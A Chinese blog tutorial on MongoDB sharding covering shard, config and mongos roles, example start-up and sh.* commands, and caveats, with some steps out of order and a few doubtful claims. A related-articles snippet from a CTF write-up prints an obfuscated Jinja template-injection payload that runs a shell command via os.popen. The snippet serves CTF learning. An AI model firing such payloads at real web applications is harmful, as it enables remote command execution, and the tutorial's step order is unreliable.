MongoDB的分片

在这里插入图片描述

本文主要介绍MongoDB的分片。

目录

  • MongoDB的分片
    • 组成
    • 分片过程
    • 操作步骤
    • 注意事项

MongoDB的分片

MongoDB的分片是一种横向扩展数据库的方式,可以将数据分散存储在多台服务器上,从而提高数据库的处理能力和可用性。

组成

MongoDB的分片由三个组成部分组成:

  1. Shard服务器(分片服务器):负责存储分片集合中的一部分数据。

  2. Config服务器(配置服务器):用于存储分片集合的元数据信息以及分片策略等配置信息。

  3. Mongos进程(路由进程):用于与客户端交互,并将数据请求转发到对应的分片服务器上。

分片过程

MongoDB的分片过程大致如下:

  1. 启动config服务器:在一台或多台服务器上启动config服务器,用于保存分片集合的元数据信息以及分片策略等配置信息。

  2. 启动shard服务器:在多台服务器上启动shard服务器,使用mongod进程启动。每个shard服务器都会存储集合的一部分数据。

  3. 连接mongos进程:启动mongos进程,连接到config服务器。当mongos进程接收到客户端请求时,它会通过config服务器获取集合的元数据信息,并将请求转发到对应的shard服务器上处理。

  4. 分片集合:通过mongos进程使用sh.addShard()命令将shard服务器添加到分片集合中,使用sh.enableSharding()命令启用对应的集合分片。

  5. 定义分片策略:使用mongos进程的sh.shardCollection()命令将集合按照指定的分片键进行分片,并为每个分片指定对应的shard服务器。

最后,MongoDB的分片集合将存储在多个shard服务器上,每个分片服务器都存储一部分数据,mongos进程将客户端请求路由到对应的分片服务器上处理,从而实现了高效的数据存储和查询。

操作步骤

MongoDB的分片实现需要进行以下的操作步骤:

  1. 启动MongoDB服务器进程:

在命令行中输入以下命令以启动mongod服务器进程,配置MongoDB服务器实例以支持分片:

mongod --shardsvr --port 27017 --dbpath /data/db1
  1. 启动配置服务器进程:

在MongoDB实例上启动mongod服务器进程,配置MongoDB服务器实例以支持配置服务器。至少需要3个配置服务器才能支持一个集群:

mongod --configsvr --replSet configReplSet --port 27019 --dbpath /data/configdb1
  1. 启动mongos进程:

在MongoDB实例上启动mongos进程,它将负责集群中的所有路由功能:

mongos --configdb configReplSet/localhost:27019 --port 27018
  1. 创建分片密钥:

选择一个用于分片的键,并创建初始分片密钥。例如,可以选择在student集合上进行分片,并使用_id作为分片键:

use school
db.student.ensureIndex({"_id": "hashed"})
sh.shardCollection("school.student", {"_id": "hashed"})
  1. 启用分片:

使用Mongo Shell连接mongos,执行"sh.enableSharding(database_name)"命令,启用分片。例如,在school数据库上启用分片:

use school
sh.enableSharding("school")
  1. 添加分片服务器:

使用Mongo Shell连接mongos,执行"sh.addShard(shard_name)"命令,添加分片服务器。例如,添加一个新的分片服务器:

sh.addShard("localhost:27017")
  1. 设定分片集合:

使用Mongo Shell连接mongos,执行"sh.shardCollection(database_name.collection_name, {shard_key: 1})"命令,设定分片集合。例如,在school数据库上的student集合上设定分片集合:

sh.shardCollection("school.student", {"_id": "hashed"})
  1. 自动分配块:

MongoDB默认是自动将块分配到分片服务器上的,无需手动分配块。可以使用以下命令查看集群中的分片状态:

sh.status()
  1. 监视集群:

使用Mongo Shell连接mongos,执行"sh.status()"命令,查看集群状态。例如:

sh.status()

以上是MongoDB的分片实现的一般操作步骤和示例。具体实现可能有所不同,需要根据实际需求进行操作。

注意事项

在MongoDB的分片实现中,需要注意以下几点:

  1. 分片键的选择:需要选择一个具有较高的基数的字段作为分片键。基数是指在分片过程中,这个字段的取值的不同数量。基数越高,分片的效果越好。

  2. 分片块的平衡:MongoDB会自动对分片块进行平衡,确保每个分片的数据量大致相等。但有时需要手动进行操作。

  3. 数据初始导入:如果数据量较大,需要在导入数据之前进行分片,否则数据可能集中在某个分片上,导致不均衡。

  4. 分片集群的数量:至少需要3个分片节点才能组成一个集群,否则会出现单点故障的问题。

  5. 配置服务器的数量:至少需要3个配置服务器才能保证集群的稳定性。

  6. mongos进程的数量:MongoDB集群中至少需要1个mongos进程,以支持路由功能。

  7. 分片节点的规划:需要规划好分片节点的数量和配置,以满足业务需求和系统性能要求。

MongoDB的分片实现需要仔细规划,注意数据均衡和集群稳定性,以充分发挥分片的优势。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/214658.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Ansible中执行流控制

1.ansible中的迭代循环 创建目录和文件 vim createfile.yaml - name: create file playbook hosts: all tasks: - name: create file file: path: "/mnt/{{item[name]}}" state: …

scala变量与变量类型

1.6 变量与类型(重点)1.6.1 变量推断1.6.2 多变量定义1.6.3 var和val的区别 1.6.3.1 是否可变 1.6.3.2 延迟加载 1.6 变量与类型(重点) val修饰的变量,相当于Java中final修饰的变量; // 定义常量s1,使用…

GPIO的使用--USART串口通信--传感器控制数据

目录 一、串口通信 1、概念 2、原理图 3、使用步骤 (1)寻找串口位置 (2)确定引脚编号 (3)编写代码 4、实验结果 实验代码 main.c usart.c usart.h 一、串口通信 1、概念 串行接口是一种可以将…

GPT-4 变懒了?官方回复

你是否注意到,最近使用 ChatGPT 的时候,当你向它提出一些问题,却得到的回应似乎变得简短而敷衍了?对于这一现象,ChatGPT 官方给出了回应。 译文:我们听到了你们所有关于 GPT4 变得更懒的反馈!我…

玩转大数据10:深度学习与神经网络在大数据中的应用

目录 1. 引言:深度学习和神经网络在大数据中的重要性和应用场景 2. 深度学习的基本概念和架构 3. Java中的深度学习框架 3.1. Deeplearning4j框架介绍及Java编程模型 3.2. DL4J、Keras和TensorFlow的集成 4. 大数据与深度学习的结合 4.1. 大数据与深度学…

Redis探秘:AOF日志与数据持久性之旅

第1章:引言 大家好,我是小黑,咱们今天来聊聊Redis。你知道吗,Redis作为一个超高效的内存数据库,真的是超级给力。它可以秒速处理数据,让咱们的应用运行得飞快。但是,小黑得告诉你,虽…

Linux进程地址空间

Linux进程地址空间 一.语言上的内存分区1.内存分区的理论说明2.内存分区的代码验证3.一个"奇怪"的现象 二.进程地址空间1.现象解释2.什么是进程地址空间3.页表的权限属性与重新理解写时拷贝4 .为什么要有进程地址空间和页表5.用进程地址空间解释一些问题1.为何进程之…

android 13.0 去掉recovery模式UI操作页面的菜单选项

1.概述 在13.0进行系统rom定制化开发中,在进行一些定制化开发中,会根据需要在进入recovery模式的时候,去掉recovery模式的一些菜单选项, Reboot to bootloader,Enter rescue等菜单项,经过分析得知, 就是在device.cpp去掉一些菜单选项就可以了,接下来就来分析实现相关功…

从Centos-7升级到Centos-Stream-8

如果在正式环境升级,请做好数据备份以及重要配置备份!因为升级会造一部分应用被卸载。 注意:升级前请备份好数据,升级可能会导致ssh的root用户无法登陆、网卡名称发生改变、引导丢失无法开机等问题。 1.安装epel源 yum -y install…

Redis生产实战-Redis集群故障探测以及降级方案设计

Redis 集群故障探测 在生产环境中,如果 Redis 集群崩溃了,那么会导致大量的请求打到数据库中,会导致整个系统都崩溃,所以系统需要可以识别缓存故障,限流保护数据库,并且启动接口的降级机制 降级方案设计 …

【EI征稿中|ACM出版】2023 人工智能、系统与网络安全国际学术会议 (AISNS 2023)

2023 人工智能、系统与网络安全国际学术会议 (AISNS 2023) 2023 International Conference on Artificial Intelligence, Systems and Network Security 由西南科技大学计算机科学与技术学院主办的2023人工智能、系统与网络安全国际学术会议 (AISNS 2023&#xff…

BUUCTF-[GYCTF2020]FlaskApp flask爆破pin

这道题不需要爆破也可以getshell ssti都给你了 {{((lipsum.__globals__.__builtins__[__import__](so[::-1])[popen]("\x63\x61\x74\x20\x2f\x74\x68\x69\x73\x5f\x69\x73\x5f\x74\x68\x65\x5f\x66\x6c\x61\x67\x2e\x74\x78\x74")).read())}} 但是学习记录一下pin…

【已解决】解决UbuntuKali无法进行SSH远程连接

目录 Ubuntu20.04配置SSH远程连接Kali Linux配置SSH远程连接 Ubuntu20.04配置SSH远程连接 首先更新安装包 sudo apt-get update 下载SSH服务 sudo apt install openssh-server 查看SSH服务 service ssh status 打开 /etc/ssh/sshd_config文件修改配置文件 将PermitRootLog…

秋招春招,我没有拿到一个offer怎么办?

无论是秋招,还是春招,对于应届毕业生来说,都是最佳的拿offer的时机,当然错过了也不是绝境,机会无处不在,只是说校招是最好的机会。希望朋友们重视起来,积极的争取到满意的工作岗位。 从竞争的角…

MyBatis 常见面试题

目录 1.MyBatis——概述1.1.什么是 ORM 框架?1.2.✨谈谈对 MyBatis 的理解。1.3.使用 MyBatis 相对于直接使用 SQL 有哪些优点?1.4.MyBatis 有什么优缺点?1.5.✨MyBatis 的分层结构是什么样的?1.6.✨MyBatis 的执行流程是什么样的…

【Spring教程22】Spring框架实战:Spring事务角色与 Spring事务属性、事务传播行为代码示例详解

目录 1.Spring事务角色1.1 未开启Spring事务之前:1.2 开启Spring的事务管理后2 Spring事务属性2.1 事务配置2.2 转账业务追加日志案例2.2.1 需求分析2.2.2 环境准备 2.3 事务传播行为2.3.1.修改logService改变事务的传播行为2.3.2 事务传播行为的可选值 欢迎大家回到《 Java教…

vs2017+qt5.14.2遇到的问题

1、在安装qt插件后,导入pro文件时,报 msvc-version.conf loaded but QMAKE_MSC_VER isn’t set 修改E:\Qt\Qt5.14.2\5.14.2\msvc2017_64\mkspecs\common\msvc-version.conf文件中添加

Leetcode1466. 重新规划路线

Every day a Leetcode 题目来源:1466. 重新规划路线 解法1:深度优先搜索 n 座城市,从 0 到 n-1 编号,其间共有 n-1 条路线。 因此,要想在两座不同城市之间旅行只有唯一一条路线可供选择(路线网形成一颗…

学会这些可以升职加薪!EXCEL基础函数入门【一】

俗话说得好,Excel用得好,工资涨得高。什么值得买生活家追梦小仙女介绍一些Excel的常用函数吧~ 正文: 今天呢,刚好心血来潮,就EXCEL常用 的函数功能做一些介绍,学excel需要举一反三,楼主从事的…

持续集成交付CICD:GitLabCI上传Nexus制品

目录 一、实验 1.GitLabCI上传Nexus制品 2.优化GitLabCI(引用系统变量) 3.添加if条件判断项目类型 4.优化GitLabCI(模板类) 二、问题 1.GitLabCI获取jar文件失败 2. GitLabCI获取流水线项目命名空间失败 一、实验 1.GitL…